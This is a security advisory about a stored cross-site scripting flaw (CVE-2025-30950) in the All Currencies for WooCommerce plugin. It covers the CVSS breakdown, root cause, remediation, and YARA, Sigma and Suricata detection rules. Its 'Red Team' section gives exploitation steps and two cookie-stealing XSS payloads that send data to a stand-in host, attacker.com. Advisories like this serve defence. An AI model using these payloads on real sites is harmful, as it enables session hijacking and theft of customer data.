CVE-2025-30950

Executive Summary

CVE-2025-30950 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin All Currencies for WooCommerce by WP Wham, affecting versions up to and including 2.4.3. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages, which will execute whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the plugin’s role in WooCommerce stores, successful exploitation could lead to session hijacking, defacement, or theft of sensitive customer data. No public exploit code or patch details are currently available, but the risk is elevated due to the widespread use of WooCommerce.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are affected. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor or higher)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a WooCommerce environment can lead to significant business impact, including customer data theft and reputational damage.

Deep Dive & Mechanics

The vulnerability exists in the All Currencies for WooCommerce plugin, which adds multi-currency support to WooCommerce stores. The plugin fails to properly sanitize and escape user input before storing it in the WordPress database and later rendering it on the frontend. Specifically, input fields related to currency labels, symbols, or custom messages are not neutralized, allowing an attacker to inject malicious JavaScript.

Attack Flow:

1. An authenticated user with contributor-level access or higher navigates to the plugin settings or a custom field (e.g., currency name, symbol, or description).
2. The attacker inputs a payload such as <script>alert('XSS')</script> into an unsanitized field.
3. The plugin stores the payload in the WordPress database without proper escaping.
4. When any user (including administrators or customers) views a page that renders this field (e.g., product page, cart, or checkout), the script executes in their browser.

Root Cause: The plugin uses functions like echo $currency_name or the_field() without applying WordPress’s built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.4.3):

// In a template file or shortcode handler
echo $currency_name; // Direct output without escaping

Patched Code (hypothetical fix):

// Properly escape output
echo esc_html( $currency_name );

The patched version would also sanitize input on save using sanitize_text_field() or wp_kses_post().

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with WooCommerce and All Currencies for WooCommerce plugin (version <= 2.4.3).
• An account with at least Contributor role.

Steps:

1. Log in to WordPress as a Contributor.
2. Navigate to the plugin settings (e.g., WooCommerce > Settings > All Currencies).
3. Locate a text field (e.g., "Currency Name" or "Custom Symbol").
4. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the settings.
6. When an administrator or customer visits a page displaying that currency (e.g., product page), the script executes, exfiltrating cookies.

Alternative Payload (for session hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Response)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php or plugin settings pages containing script tags.
• Look for outbound connections to unknown domains from the WordPress server.
• Review database entries in wp_options or custom plugin tables for script content.

Response:

1. Immediately disable the plugin if no patch is available.
2. Remove malicious entries from the database using a tool like phpMyAdmin or WP-CLI.
3. Reset all user sessions and force password changes.
4. Scan for additional compromises using a security plugin (e.g., Wordfence).

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; plugin files may be modified)
• Suspicious Database Entries: Rows in wp_options or plugin-specific tables containing <script> tags.
• Network Traffic: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Log Entries: Unusual POST requests to /wp-admin/admin.php?page=wc-settings&tab=all_currencies with script content.

Detection Engineering

YARA Rule

rule CVE_2025_30950_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in All Currencies for WooCommerce plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30950"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $onerror = /onerror\s*=\s*["']?[^"']*["']?/is
        $onload = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in All Currencies for WooCommerce
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in plugin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin.php*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30950 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"<script"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Use a Web Application Firewall (WAF) to block common XSS payloads.
3. Restrict user roles – only grant Administrator access to trusted users.

Long-term Fix:

• Apply the official patch from WP Wham once available.
• If no patch is forthcoming, consider replacing the plugin with an alternative multi-currency solution (e.g., WooCommerce Multi-Currency by TIV.NET).

Code-Level Mitigation (if you maintain the plugin):

• Sanitize all input using sanitize_text_field() or wp_kses_post().
• Escape all output using esc_html(), esc_attr(), or esc_url().
• Use WordPress’s wp_nonce_field() to prevent CSRF.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert